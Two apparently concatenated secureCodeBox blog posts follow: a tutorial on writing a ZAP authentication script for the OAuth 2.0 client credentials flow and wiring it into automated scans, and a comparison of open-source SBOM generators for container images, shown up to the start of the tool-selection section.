Many web applications and APIs require authentication to expose all of their features. During a manual test of a web application, this can be achieved by logging in to the application by hand - however, when testing APIs, or when using ZAP for regular scans inside the secureCodeBox, manual authentication for each test is no longer feasible. Here, the built-in scripting functionality of ZAP can prove useful. It allows us to authenticate against a server, retrieve a session cookie, JWT, or other authentication marker, and automatically add it to each following request. It can even provide session management to automatically detect if the session has expired and trigger a re-authentication.

In this example, we will be developing and using an authentication script that implements the client credentials flow of OAuth 2.0. In our scenario, the system under test required POSTing three parameters to a URL backed by KeyCloak: the client_id and client_secret, as well as the parameter grant_type=client_credentials.

The ZAP Authentication System​

ZAP handles authentication using a combination of multiple mechanisms, configured in different places. This can sometimes be confusing, but in general, there are three major steps to the process: Telling ZAP how it can authenticate to the system (and how to determine if it was successful), giving user account information to ZAP, and ensuring that the session information is actually being used in all requests.

Telling ZAP How to Authenticate​

Authentication is always configured for a specific ZAP context. A context is a bundle of one or more domains, which you can define in the context menu.

ZAP already has a number of authentication strategies built-in. They can be configured in the authentication menu of the used context. However, not all possible authentication methods are implemented natively in ZAP. For others, you may have to use an authentication script. The community scripts repository provides an excellent starting point for finding a script that fits your needs. However, in some situations, there may not be a ready-made script for you, and you will have to write your own. In this blog post, we will develop such an authentication script from scratch, explaining the individual components and what they are doing. This is based on our understanding of the system, so, if you find any errors, feel free to point them out by raising an issue in our GitHub repository, and we will be happy to fix it.

For the purpose of this guide, we will assume that you are at least a little familiar with ZAP, and that you have already downloaded and installed the community scripts. If you haven't, you can either download and install the "Community Scripts"-Addon in ZAP, or download the repository and point ZAP at its location in the settings.

Creating A New Script​

First, you will have to open the ZAP scripting tab (it usually hides behind the green plus-sign, next to the "sites" menu).

There, create a new script. In this case, we will call it KeycloakClientCredentials.js. Select the script type "Authentication", with the Oracle Nashorn scripting engine, and the "Authentication script.js" template.

You will be presented with a script template that looks something like this:

// The authenticate function will be called for authentications made via ZAP.

// The authenticate function is called whenever ZAP requires to authenticate, for a Context for which this script
// was selected as the Authentication Method. The function should send any messages that are required to do the authentication
// and should return a message with an authenticated response so the calling method.
//
// NOTE: Any message sent in the function should be obtained using the 'helper.prepareMessage()' method.
//
// Parameters:
//		helper - a helper class providing useful methods: prepareMessage(), sendAndReceive(msg), getHttpSender()
//		paramsValues - the values of the parameters configured in the Session Properties -> Authentication panel.
//					The paramsValues is a map, having as keys the parameters names (as returned by the getRequiredParamsNames()
//					and getOptionalParamsNames() functions below)
//		credentials - an object containing the credentials values, as configured in the Session Properties -> Users panel.
//					The credential values can be obtained via calls to the getParam(paramName) method. The param names are the ones
//					returned by the getCredentialsParamsNames() below
function authenticate(helper, paramsValues, credentials) {
	print("Authenticating via JavaScript script...");
	var msg = helper.prepareMessage();
	
	// TODO: Process message to match the authentication needs

	// Configurations on how the messages are sent/handled:
	// Set to follow redirects when sending messages (default is false).
	// helper.getHttpSender().setFollowRedirect(true)

	// Send message without following redirects (overriding the option previously set).
	// helper.sendAndReceive(msg, false)

	// Set the number of maximum redirects followed to 5 (default is 100). Main purpose is to prevent infinite loops.
	// helper.getHttpSender().setMaxRedirects(5)

	// Allow circular redirects (default is not allow). Circular redirects happen when a request
	// redirects to itself, or when a same request was already accessed in a chain of redirects.
	// helper.getHttpSender().setAllowCircularRedirects(true)

	helper.sendAndReceive(msg);

	return msg;
}

// This function is called during the script loading to obtain a list of the names of the required configuration parameters,
// that will be shown in the Session Properties -> Authentication panel for configuration. They can be used
// to input dynamic data into the script, from the user interface (e.g. a login URL, name of POST parameters etc.)
function getRequiredParamsNames(){
	return ["exampleTargetURL", "exampleField2"];
}

// This function is called during the script loading to obtain a list of the names of the optional configuration parameters,
// that will be shown in the Session Properties -> Authentication panel for configuration. They can be used
// to input dynamic data into the script, from the user interface (e.g. a login URL, name of POST parameters etc.)
function getOptionalParamsNames(){
	return ["exampleField3"];
}

// This function is called during the script loading to obtain a list of the names of the parameters that are required,
// as credentials, for each User configured corresponding to an Authentication using this script 
function getCredentialsParamsNames(){
	return ["username", "password"];
}

// This optional function is called during the script loading to obtain the logged in indicator.
// NOTE: although optional this function must be implemented along with the function getLoggedOutIndicator().
//function getLoggedInIndicator() {
//	return "LoggedInIndicator";
//}

// This optional function is called during the script loading to obtain the logged out indicator.
// NOTE: although optional this function must be implemented along with the function getLoggedInIndicator().
//function getLoggedOutIndicator() {
//	return "LoggedOutIndicator";
//}

This is the skeleton for your authentication script. There are four relevant functions: authenticate, getRequiredParamsNames, getOptionalParamsNames and getCredentialsParamsNames. We will begin with the latter three.

Declaring Parameters for the Script​

getRequiredParamsNames, getOptionalParamsNames and getCredentialsParamsNames define which parameters the script expects. These functions will usually be quite quick to fill out - our client credentials flow only has a very limited number of relevant parameters we need to pass in. The strings we define here will be used to label elements in the ZAP configuration UI, and also show up again when retrieving the parameters in the authenticate function.

// This function is called during the script loading to obtain a list of the names of the required configuration parameters,
// that will be shown in the Session Properties -> Authentication panel for configuration. They can be used
// to input dynamic data into the script, from the user interface (e.g. a login URL, name of POST parameters etc.)
//
// For the client-credentials flow, only the endpoint to which the authentication message needs to be sent has to be specified.
function getRequiredParamsNames(){
  return ["EndpointForAuthentication"];
}

// This function is called during the script loading to obtain a list of the names of the optional configuration parameters,
// that will be shown in the Session Properties -> Authentication panel for configuration. They can be used
// to input dynamic data into the script, from the user interface (e.g. a login URL, name of POST parameters etc.)
//
// The client credentials flow does not require any optional parameters in our case. If the endpoint implements the optional
// "scope" parameter of the client credentials flow, it could be supported here.
function getOptionalParamsNames(){
  return [];
}

// This function is called during the script loading to obtain a list of the names of the parameters that are required,
// as credentials, for each User configured corresponding to an Authentication using this script.
//
// The client credentials flow requires a client_id and client_secret, equivalent to a username and password.
function getCredentialsParamsNames(){
  return ["client_id", "client_secret"];
}

With this, our script can be parameterized. However, we still need to teach it to perform the actual authentication.

Implementing the Authentication​

Now that the parameters are in place, we can implement the actual authentication functionality. In general, the authentication flow will always look something like this:

1. Generate an HTTP request with the necessary information for authentication (pulling in script parameters as necessary)
2. Send the request and receive the response
3. (Repeat as necessary if more than one message is required for authentication)
4. Extract the necessary information and store it somewhere where other scripts can use it

Keeping this in mind, a basic implementation of the client credentials flow could look like this:

// ZAP scripts use the protocol defined in JSR 223 (https://www.jcp.org/en/jsr/detail?id=223) to interface with the underlying 
// Java code of ZAP. This means that we can access Java objects from within the JavaScript code.
// Here, we import the relevant Java types for later use.
var HttpRequestHeader = Java.type('org.parosproxy.paros.network.HttpRequestHeader');
var HttpHeader = Java.type('org.parosproxy.paros.network.HttpHeader');
var URI = Java.type('org.apache.commons.httpclient.URI');
var ScriptVars = Java.type('org.zaproxy.zap.extension.script.ScriptVars');

// This authentication function implements the client credentials flow from OAuth 2.0.
// It is tested with a Keycloak backend, but should also work for other implementations, assuming
// they return a JWT in their response, inside the access_token attribute of a JSON object.
// If your server behaves differently, change the response parsing below.
//
// The behavior of this function is equivalent to the following curl command:
// curl -X POST -H "Content-Type: application/x-www-form-urlencoded" --data-urlencode "grant_type=client_credentials" --data-urlencode "client_id=<client_id>" --data-urlencode "client_secret=<client_secret>" <tokenendpoint>
//
// NOTE: Any message sent in the function should be obtained using the 'helper.prepareMessage()' method.
//
// Parameters:
//        helper - a helper class providing useful methods: prepareMessage(), sendAndReceive(msg), getHttpSender()
//        paramsValues - the values of the parameters configured in the Session Properties -> Authentication panel.
//                    The paramsValues is a map, having as keys the parameters names (as returned by the getRequiredParamsNames()
//                    and getOptionalParamsNames() functions below)
//        credentials - an object containing the credentials values, as configured in the Session Properties -> Users panel.
//                    The credential values can be obtained via calls to the getParam(paramName) method. The param names are the ones
//                    returned by the getCredentialsParamsNames() below
function authenticate(helper, paramsValues, credentials) {
  print("\nAuthenticating via JavaScript script...");

  // Load the API endpoint against which we need to POST our request to authenticate
  var endpoint = paramsValues.get("EndpointForAuthentication");
  print("\nAuth endpoint is " + endpoint);

  // Create a few Java objects that we will need later
  // First, a URI for the endpoint
  var requestUri = new URI(endpoint, false);
  // Set the request method to POST...
  var requestMethod = HttpRequestHeader.POST;
  // ...and assemble the necessary requestHeader for the request
  var requestHeader = new HttpRequestHeader(requestMethod, requestUri, HttpHeader.HTTP11);
  
  // Prepare a message that we can later send using ZAP...
  var msg = helper.prepareMessage();
  // ...and set the request headers on it
  msg.setRequestHeader(requestHeader);

  // Load the client_id and client_secret from the script parameters
  var client_id = credentials.getParam("client_id");
  var client_secret = credentials.getParam("client_secret")
  print("Authenticate with client_id: " +  client_id);

  // Assemble an OAuth 2.0 Client Credentials POST body, which basically consists of three parts:
  // - the grant_type set to client_credentials
  // - the client_id parameter and value
  // - the client_secret parameter and value
  msg.setRequestBody("grant_type=client_credentials&client_id=" + client_id + "&client_secret=" + client_secret);
  // Set the correct content length in the message header
  msg.getRequestHeader().setContentLength(msg.getRequestBody().length());

  // Send the message and receive the response
  helper.sendAndReceive(msg);

  // Extract the response body as a string
  //
  // We're going to be pulling out the JWT and saving it into a global variable here.
  // This will allow you to simply activate the "addBearerTokenHeader.js" HTTP sender
  // script to authenticate all requests you are sending.
  //
  // If your setup requires more complex handling, you can remove most of the rest of
  // this function and instead write a session script - it will get access to the 
  // message you return from this function, and you can extract the data and do 
  // things with it from there.
  var response = msg.getResponseBody().toString();
  // Debug loggin the response
  // TURN THIS OFF IF THE TOKEN IS SENSITIVE AND OTHERS MAY READ YOUR LOGS
  print("\nResponse is: " + response);
  // Parse the embedded JSON that is returned by the server
  var json = JSON.parse(response);

  // The access token is contained in the returned object under the access_token key
  var token = json.access_token;
  // Debug statement
  // TURN THIS OFF IF THE TOKEN IS SENSITIVE AND OTHERS MAY READ YOUR LOGS
  print("\n Endpoint returned token: " + token);

  // Save the data to the access_token global variable (which is the one that is read
  // by the AddBearerTokenHeader.js script)
  ScriptVars.setGlobalVar("access_token", token);

  // Return the message, as that is what the API expects us to do.
  return msg;
}

Save the resulting file by pressing the save icon at the top of the script explorer (the key combination CTRL+S does not save scripts in ZAP!). With that done, we can now start preparing the rest of ZAP.

Set Up ZAP to Use the Authentication Script​

To configure ZAP with authentication, you need to use a ZAP context. A context is basically a bundle of settings that applies to a specific set of URLs. If you start a new ZAP session, it will automatically create an empty, default context for you. It will show up at the top of the "Sites" tree, under "Contexts". If you double-click it, you will be able to change the settings for it. We will need to make adjustments in a few places: the included sites, authentication settings, and the user database.

Included Sites​

The list of sites included in the context determines which websites it is applied to. To find it, choose the "Include in Context" menu item and add the domain(s) you are testing.

Authentication Settings​

Next, we need to tell ZAP about the authentication mechanism that is being used by the website or API. Navigate to the "Authentication" item, and choose "Script-based authentication" in the dropdown menu. Choose the script we just created and click "Load". This will load the script and expose the parameters we defined in the script. Enter the endpoint that is used for authentication in the system under test.

Below that, you will see the session verification settings. These are used by ZAP to determine if the session is still valid. If it turns out that the session is invalid, it will automatically repeat the authentication to obtain a new session. This can happen if you are testing an API that is using short-lived bearer tokens, or if your tests accidentally invalidate your session (for example, because a test navigated to the logout function).

There is no general rule for how you should fill this out - it may be that in your situation, there is a convenient API endpoint that only works while you are logged in, and unequivocally tells you your login status (like loading your user profile). In that case, you can use the "Poll the Specified URL" setting, which will send periodic requests to that endpoint and match a regular expression against the response to figure out if your session is still valid. In other cases, you may be able to use a different verification function. ZAP has some guidance about this in their documentation.

User Database​

Next, you need to tell ZAP about the user credentials it should use for authentication. Do so under the "Users" item in the context settings, and click "Add...". You will be prompted for the client_id and client_secret. Give the user a name, enter the details, and save it. Repeat as necessary if you have more than one user you want to use (e.g., when testing an API with role-based access control).

Adding Authentication Information to Requests​

The final building block is a way to add the session information to the outgoing requests made by ZAP. For the purpose of this tutorial, we will assume that the system under test expects a JSON Web Token (JWT) in an Authorization header of the form Authorization: Bearer $MY_TOKEN. In that case, you can simply save and close the context settings, navigate back to the script explorer, and find the AddBearerTokenHeader.js script in the "HTTP Sender" category. Right-click the script and select "Enable Script(s)" to turn it on, which will be reflected with a green checkmark next to its icon. This script will pull the authentication token from a global variable called access_token - which is where our authentication script is saving it.

With this, everything should be in place for a test run!

Testing​

To test the setup, you need to get ZAP to perform one or more network requests. The easiest way to do this is to use the Spider functionality of ZAP - simply right-click a (sub)page from a site inside the context and trigger a run of the spider. It should automatically use the configured authentication settings. You can then inspect the sent requests and responses as usual in ZAP to check if the bearer token is added correctly, and if the site is accepting or rejecting it.

Debugging​

If authentication fails, check the log of the authentication script by going to the scripting tab and selecting the script. Below the window that shows the source code, you can find the logs of the script. This can aid in debugging any issues you may encounter. When updating the script, hitting the save button should be enough to get ZAP to use the updated script (no need to load it again in the context settings).

Forcing ZAP to Use Authentication for Everything​

In some situations, ZAP may not be using your authentication settings. In our testing, this seemed to occur most often when using the "Import an OpenAPI Definition from a URL" function. If this happens to you, you can try enabling the "force user mode" under Edit -> Enable Forced User Mode. This will tell ZAP to use the defined user for every request inside the context, no matter what. (NB: ensure that you set your scope correctly - a too-broad scope may result in your authentication token being sent to sites that should not receive it). The user that is used by the "forced user" mode can be configured in the context settings under "forced user", and defaults to the first user you created.

Resending Requests​

ZAP will also use the session for requests you send manually, e.g. by using the repeater functionality for a previously-sent request. Regardless of the Authorization header you specify, ZAP will overwrite it with the session of the chosen user (if forced user mode is active). If you get a permission error on the first request, try sending it again - sometimes ZAP first has to create a new session because the old one has expired, and it will not automatically repeat the request in this case.

Using Authentication with the ZAP Automation Framework in the SecureCodeBox​

If you followed the guide, you should know how to set up authentication using the ZAP GUI. We now describe how to include authentication in a SecureCodeBox ZAP Automation scan. Adding authentication to your scan is done by modifying the ConfigMap that defines the scan parameters. Fortunately, the ZAP GUI allows for exporting a .yaml file, from which the necessary changes to the ConfigMap can be copied. First, make sure that you have the ZAP Automation Framework Add-On installed in your ZAP GUI. Then, navigate to the Automation tab as shown in the image below.

Here, you press "Save Plan..." to create a .yaml file that includes the necessary configurations for SecureCodeBox to run your authentication script as part of a ZAP Automation scan. Your .yaml file will look similar to this example.

Copy everything under "authentication:" and paste it to the ConfigMap that defines your ZAP Automation scan parameters. Make sure to define the authentication configuration under the correct context and not as a job.

env:                               
  contexts :                         
    - name: "context name"              
      urls:                            
      includePaths:                    
      excludePaths:                    
      authentication:   # Include your authentication method here
        ...
jobs:
  ...

Additionally to script-based authentication, the ZAP Automation Framework supports manual, HTTP / NTLM, form-based, and JSON-based authentication, which can all be configured for use in a SecureCodeBox ZAP Automation scan.

An example ConfigMap for a ZAP Automation scan may look like this:

apiVersion: v1
kind: ConfigMap
metadata:
  name: "zap-automation-scan-config"
data:
  1-automation.yaml: |-

    env:                                   # The environment, mandatory
      contexts :                           # List of 1 or more contexts, mandatory
        - name: test-config                # Name to be used to refer to this context in other jobs, mandatory
          urls:
          - "https://.*.example.com"
          includePaths:
          - "https://.*.example.com/.*"
          excludePaths: []
          authentication:
            method: "script"
            parameters:
              script: "<PATH_TO_YOUR_SCRIPT_IN_THE_SCB_ENVIRONMENT>/KeycloakClientCredentials.js"
              scriptEngine: "Oracle Nashorn"
              EndpointForAuthentication: "https://example.com/v1/token"
            verification:
              method: "response"
              loggedOutRegex: "(Unauthorized)|(token expired)"
              pollFrequency: 60
              pollUnits: "requests"
              pollUrl: ""
              pollPostData: ""
          sessionManagement:
            method: "cookie"
            parameters: {}
          users:
          - name: "internal-user"
            credentials:
              client_id: "user"
              client_secret: "pass"
      parameters:
        failOnError: true                  # If set exit on an error         
        failOnWarning: false               # If set exit on a warning
        progressToStdout: true             # If set will write job progress to stdout

    jobs:
      - type: addOns                       # Add-on management
        install: [pscanrulesAlpha, pscanrulesBeta] # A list of non standard add-ons to install from the ZAP Marketplace
      - type: passiveScan-config           # Passive scan configuration
        parameters:
          maxAlertsPerRule: 10             # Int: Maximum number of alerts to raise per rule
          scanOnlyInScope: true            # Bool: Only scan URLs in scope (recommended)
      - type: spider                       # The traditional spider - fast but doesnt handle modern apps so well
        parameters:
          context: test-config             # String: Name of the context to spider, default: first context
          user: internal-user              # String: An optional user to use for authentication, must be defined in the env
          maxDuration: 2                   # Int: The max time in minutes the spider will be allowed to run for, default: 0 unlimited
      - type: spiderAjax                   # The ajax spider - slower than the spider but handles modern apps well
        parameters:
          context: test-config             # String: Name of the context to spider, default: first context
          maxDuration: 2                   # Int: The max time in minutes the ajax spider will be allowed to run for, default: 0 unlimited
      - type: passiveScan-wait             # Passive scan wait for the passive scanner to finish
        parameters:
          maxDuration: 10                  # Int: The max time to wait for the passive scanner, default: 0 unlimited
      - type: report                       # Report generation
        parameters:
          template: traditional-xml        # String: The template id, default : modern
          reportDir: /home/securecodebox/  # String: The directory into which the report will be written
          reportFile: zap-results          # String: The report file name pattern, default: {{yyyy-MM-dd}}-ZAP-Report-[[site]]
        risks:                             # List: The risks to include in this report, default all
          - high
          - medium
          - low

For a complete overview of all the possible options you have for configuring a ZAP Automation scan, run bash ./zap.sh -cmd -autogenmax zap.yaml . Alternatively, have a look at the official documentation.

Credentials in ZAP Automation​

The ZAP Automation Scanner supports the use of secrets, as to not have hardcoded credentials in the scan definition. Generate secrets using the credentials that will later be used in the scan for authentication:

kubectl create secret generic unamesecret --from-literal='username=<USERNAME>'
kubectl create secret generic pwordsecret --from-literal='password=<PASSWORD>'

You can now include the secrets in the scan definition and reference them in the ConfigMap that defines the scan options. The following defines two secrets for the use in JSON-based authentication. The secrets can be referenced in the ConfigMap via ${EMAIL} and ${PASS}.

apiVersion: "execution.securecodebox.io/v1"
kind: Scan
metadata:
  name: "zap-example-scan"
spec:
  scanType: "zap-automation-scan"
  parameters:
    - "-host"
    - "http://juiceshop.demo-targets.svc"
    - "-autorun"
    - "/home/securecodebox/scb-automation/2-automation.yaml"
  volumeMounts:
    - mountPath: /home/securecodebox/scb-automation/2-automation.yaml
      name: zap-automation
      subPath: 2-automation.yaml
  volumes:
    - name: zap-automation
      configMap:
        name: zap-automation-scan-config
  env:
    - name: EMAIL
      valueFrom:
        secretKeyRef:
          name: unamesecret
          key: username
    - name: PASS
      valueFrom:
        secretKeyRef:
          name: pwordsecret
          key: password

Conclusion​

With this, you should have everything you need to use a custom authentication script with ZAP in the secureCodeBox. Done right, scripting can become an indispensible part of your workflows for automated security scans, and enable you to gain a significantly improved scan coverage for applications that require authentication. To get you started, the ZAP Community Scripts repository contains a wide variety of scripts for different purposes, which illustrate the different ways scripting can be used, and which can serve as a template for your own scripting. We can't wait to see what you will do with the combined power of ZAP scripting and the secureCodeBox!

Cover photo by Mike Lewis HeadSmart Media on Unsplash.

In the previous blogpost we described how to use scans to find infrastructure affected by Log4Shell, but wouldn't it be way more convenient to already have this information available? SBOMs promise to offer that convenience of only having to look up, where an affected dependency is used, and immediately being able to mitigate it. This blog post details our plans to integrate an SBOM creation workflow into the secureCodeBox and our troubles with using different tools for it.

What are SBOMs?​

SBOMs, or Software Bills of Material, are standardized and machine-readable lists of components used in software. While that would be pretty boring for monolithic applications without external dependencies, modern software often uses hundreds or even thousands of external dependencies, usually installed through the standard package ecosystem of that particular language. With these kinds of applications, keeping track of what is used where could be as simple as checking the provided list of dependencies, i.e. package-lock.json or Cargo.lock. SBOMs generalize this for applications of multiple ecosystems, multiple applications, whole containers or VMs.

As mentioned, SBOMs use standardized formats, unfortunately with an emphasis on the plural-s of formats. The two most prolific standards are Software Package Data Exchange (SPDX), developed as a Linux Foundation Project and maintained as an ISO standard, and CycloneDX, developed as an OWASP Foundation project. Sometimes Software Identification (SWID) Tags are also regarded as a format of SBOMs, but their use is a bit different, and they are not well-supported by most tools that work with SBOMs. There are some differences between SPDX and CycloneDX SBOMs, documented here. They can still be converted, for example by using the CycloneDX CLI or the cdx2spdx tool.

The Goal of This Endeavour​

Currently, the secureCodeBox provides a great selection of scanners, to assess the security of your infrastructure. If instead you want to achieve a detailed overview over the composition of the infrastructure, you currently have to reach for other tools. With this change we intend to leverage the integrations and automations already present in the secureCodeBox, to simplify generating SBOMs for all the targets, that could up to now only be scanned for security flaws present at that moment.

That is of course a very ambitious goal. We intend to first release a minimum viable product of SBOM generation, aimed at a common use-case for the secureCodeBox: container security. Combining SBOM creation for containers with the AutoDiscovery makes it a breeze to keep an up-to-date inventory over whole infrastructures.

The following sections describe our search for a good tool to create SBOMs, the troubles when combining the created SBOMs with tools that consume SBOMs and the detailed plan for the MVP implementation.

Possible Tools to Generate SBOMs​

Before deciding on a format for the SBOMs, let's take a look at the possible tools we could use to generate them. The best option would be to generate SBOMs directly at build-time. At that point, all the dependencies of an application are clearly defined and the compiler or some other build tool can simply export a list of them in any format. Unfortunately, that will not work for our use case, as we want to generate SBOMs for containers that are already running. Luckily there are tools that allow that as well. To select a fitting one, the following criteria apply.

Tool Criteria​

• Which targets can SBOMs be created for? Currently we want to support containers, but in the future other targets like files or VMs might be needed as well.
• How can the containers be accessed? Not all containers can just be pulled from Docker Hub, so support for private registries is often needed.
• Credential management, how can private registries be accessed?
• SBOM formats, are both SPDX and CycloneDX supported, or only one of them?
• SBOM contents and quality, does the tool find all dependencies and properly specifies them?
• Support and ecosystem of the tool: widespread use, GitHub activity, documentation quality
• License, as we cannot integrate a commercial tool

Of these criteria, checking the quality of an SBOM is not that straightforward. Confirming if all the dependencies of small demo applications are picked up is possible, but for containers the dependencies also include the OS packes and everything else that the container ships with. SBOM quality will therefore also depend on the interoperability with SBOM consuming tools.

SBOM Targets and Testing Environment​

To make the tests of the tools comparable, the same images were used as scan targets. These images are intentionally insecure, so that there are components with known security vulnerabilities which can (and should) be found when analyzing the generated SBOMs. The targets are:

• bkimminich/juice-shop:v15.0.0
• trivy-ci-test
• A simple .NET-based containerized app
• A simple Rust-based containerized app, using the cargo auditable format

All tools were tested under macOS Ventura 13.5, or, if they did not (or not properly) support macOS, under Ubuntu 22.04. Unless noted otherwise, the latest available version of the tools were tested.

Tool List​

The following list includes all the free and open source tools I looked at as possible integration for the secureCodeBox. There is also a whole range of premium tools for SBOMs or even full software component analysis workflows, these are not listed here as they are not relevant for our goals.

This list does not cover all details of the compared tools, when it became obvious one is not a good fit I stopped checking the remaining criteria. It is also not an exhaustive list, there are chances a good tool is missing, just because it does not have the reach of the ones listed. Now with that out of the way, here is the list.

Trivy​

Trivy, the "all-in-one open source security scanner", which is already integrated as a scanner in the secureCodeBox, also supports creating SBOMs as one of its output types. Trivy supports scanning a wide variety of targets and provides SBOM support for most of them. Other than containers, file system paths, git repositories, or VMs, Trivy also supports generating SBOMs for whole Kubernetes clusters. The containers can be accessed in many different ways, either through the local Docker Engine, containerd, Podman, direct access to the registry, and also through local files in tar or OCI format. Credentials can be supplied either through environment variables, parameters (not recommended because credentials will be readable in the process list and the shell history), in a configuration file or directly to Docker. There is also support for the AWS, Google and Azure registries.

Example commandline:

trivy image --format cyclonedx --output results-trivy-juiceshop-v15-cyclonedx.json bkimminich/juice-shop:v15.0.0

SBOMs can be generated in either SPDX or CycloneDX formats. When using CycloneDX, security scanning, which is disabled by default for SBOM outputs, can be reenabled, to include a list of security flaws already in the SBOM itself. While interesting, it is unclear how useful this is, after all the secureCodeBox already supports normal trivy container scans, which are integrated far better with the existing hooks.

SBOM quality and content depends on the content of the container. Trivy supports many package ecosystems of different languages, but might miss applications or dependencies installed in unusual or hard to read ways. To find the dependencies of Rust binaries for example, Trivy relies on the Cargo.lock file being available or the binaries including the dependency information in a linker section according to the cargo auditable format. In tests with small containers, Trivy was able to reliably pick up dependencies of the main application and OS packages. For each component and depending on the output format, Trivy tracks among others the name, version, package url (purl) and several custom properties.

Trivy is actively maintained by Aqua Security, has 18.2k Stars and 1.8k Forks on GitHub and a very extensive documentation. It is licensed under the Apache-2.0 license and used by GitLab for their Container Scanning feature. For the tests in this blogpost, Trivy v0.44.0 was used.

Syft​

Syft works very similar to Trivy when it comes to generating SBOMs. It supports containers, filesystem paths, archives, "and more" although it is not specified what "and more" entails. This means Trivy supports more targets, which might be interesting long term, but for now Syft is perfectly capable of generating SBOMs for our use case as well. Syft also supports many ways to access container images, other than direct registry access or through the Docker or Podman daemons, tar archives, OCI or SIF images or plain directories and files are supported. Credentials for private registries can to be supplied as Docker config.json, which can also be shared as a Kubernetes secret. More advanced options are available according to the go-containerregistry docs.

Example commandline:

syft bkimminich/juice-shop:v15.0.0 -o cyclonedx-json > results-syft-juiceshop-v15-cyclonedx.json

The list of supported SBOM formats is quite large, there is CycloneDX in xml or json, SPDX in tag-value or json, in version 2.3 or 2.2 and Syft's own format as json. Custom formats can be defined using Go templates.

Regarding the quality of the SBOMs, Syft also has support for many language ecosystems and largely finds the same packages as Trivy. The difference lies in the way the package details are populated. Like Trivy, Syft includes name, version, package url and some custom properties, but also Common Platform Enumerations (CPEs). This allows more options for matching packages against different databases.

Syft is actively maintained by Anchore and has 4.5k Stars and 412 Forks on GitHub. The README.md file serves as documentation but covers a lot. Syft is available under the Apache-2.0 license and provides the functionality of the experimental docker sbom command. For the tests in this blogpost, Syft v0.85.0 was used.

Tern​

Tern is a Python-based tool for generating SBOMs for containers. It uses skopeo to access container registries, but only supports Docker API compatible registries or querying the local Docker daemon. So while Skopeo also supports loading tar archives, OCI images or plain directories, Tern does not use these features. Skopeo also supports private registries, but figuring out how to access that functionality through Tern might require some tinkering. In addition, Tern can work with Dockerfiles directly, but requires a running Docker daemon to build the images.

Example commandline:

tern report -f cyclonedxjson -i bkimminich/juice-shop:v15.0.0 -o results-tern-juiceshop-v15-cyclonedx.json

SBOM format support is pretty good, other than CycloneDX (json), SPDX (json and tag-value), custom yaml, html and json formats can be generated.

Unfortunately, the generated SBOMs are quite lacking compared to the ones Trivy or Syft generate. While Tern finds the distribution and OS packages of the Juice Shop container, not a single NodeJS/npm component is included in the output. Other containers show similar results, only OS packages are listed. This is pretty unhelpful for creating an inventory of the software running in one's container infrastructure.

Tern is a "tern-tools" project with 884 Stars and 185 Forks on GitHub. The most active maintainer is Rose Judge, an Open Source Engineer at VMWare. The documentation is provided as Markdown documents in the docs directory, while general information can be found in the README.md file. Tern is licensed under a BSD-2-Clause license. For the tests in this blogpost, Tern 2.12.1 was used.

Microsoft SBOM Tool​

In 2022, Microsoft released their SBOM generation tool, aptly named SBOM Tool. According to README.md and the commandline docs it can generate SBOMs for container images and supports several package ecosystems (through the Component Detection library). Images seem to be accessed through the running Docker daemon (specifying sha256 hashes of local images with -di sha256:<hash> works), but there is no documentation about different usage options, other than specifying an image tag.

Example commandline:

sbom-tool-linux-x64 generate -m . -pn JuiceShop -pv 15.0.0 -ps BKimminich -nsb https://owasp.org/www-project-juice-shop -di bkimminich/juice-shop:v15.0.0

This looks a bit inconvenient compared to the other tools, because there are many more mandatory parameters. Making the commandline simpler to use is a known issue. Format support is quite limited, the SBOM tool only supports generating SPDX 2.2 reports in json format. Not even the full output path is configurable, the SBOM file always gets created as <ManifestDir>/_manifest/spdx_2.2/manifest.spdx.json, where ManifestDir is the directory supplied with -m.

On macOS, analyzing linux containers is unavailable and generated SBOMs contain no entries, other than the information about the target container and the details provided as parameters. On Linux components are detected, but just like Tern the SBOM Tool fails to find anything but OS packages, in any of the tested containers. The Component Detection README.me clarifies, that the library is "intended to be used at build time", and while the SBOM Tool docs also seem like the tool is supposed to be used at build time, it is never explicitly stated and the docs mention the possibility of generating SBOMs only for containers. I suspect that analyzing containers is supposed to be combined with analyzing local project files, so the only SBOM-content that needs to come from analyzing the container are the OS packages. All the dependencies of the containerized applications will already be known from analyzing the build files.

The SBOM Tool and the Component Detection library are both maintained by Microsoft and licensed under the MIT license. The SBOM Tool has 1.2k Stars and 89 Forks on GitHub. The documentation could be better, there are only some Markdown documents in the docs directory and the README.md file gives an overview. For the tests in this blogpost, SBOM Tool v1.2.0 was used.

Component Detection (and with that, the SBOM Tool) uses Syft internally to analyze Docker containers. Since this tool is less convenient to use than Syft, and does not work as well either (for only analyzing containers), it makes more sense to just use Syft directly then.

Kubernetes bom​

bom was created "to create an SBOM for the Kubernetes project", but can be used for other projects and containers as well. There is no mention of how images are accessed, but it works without connecting to the local Docker daemon. Other than by specifying image tags, images can also be read from tar archives.

Example commandline:

bom generate --format json -i bkimminich/juice-shop:v15.0.0 -o results-k8sbom-juiceshop-v15-spdx.json

bom only generates SPDX 2.3 SBOMs, in either json or tag-value format. As noted in the documentation, go dependencies can be included, but no other language ecosystems are supported. Since it was developed for Kubernetes, it focuses on Go applications. Finding Go dependencies does not work for containers containing Go applications though, like Tern or the SBOM Tool, bom only finds OS packages there. This makes the generated SBOMs not very useful for our goals.

bom is maintained as a Kubernetes SIGs (Special Interest Groups) project. It has 250 Stars and 31 Forks on GitHub. The documentation is decent, other than some basic usage information in the README.md file, there are is a generated documentation website with some subpages. For the tests in this blogpost, bom v0.5.1 was used.

Others​

There are some other open source tools claiming SBOM functionality, but I did not look into them in depth for various reasons.

The SPDX SBOM Generator by opensbom-generator is developed in Go and supports many different language ecosystems. It is not a good fit for the secureCodeBox though, because it can only generate SBOMs for build dependencies by reading package files. It could still be used by analyzing the files contained in the container, but that solution is rather complicated and finicky compared to the tools listed above.

There is an experimental Docker CLI plugin to create SBOMs for containers, called docker sbom. All it does though, is use Syft internally, which we could also directly use instead.

The CycloneDX project also maintains an SBOM generator which supports multiple ecosystems, called cdxgen. Internally it uses Trivy to detect OS packages in containers.

Other than that there is a wide range of non-free tools, which we cannot integrate for licensing reasons.

Selecting a Tool​

From this list, Trivy and Syft are by far the most capable and easiest to use tools. It is no surprise, that both are already integrated into other projects for SBOM workflows. As mentioned above, Syft provides the functionality of the experimental docker sbom command. Trivy is used by GitLab for their Container Scanning feature.

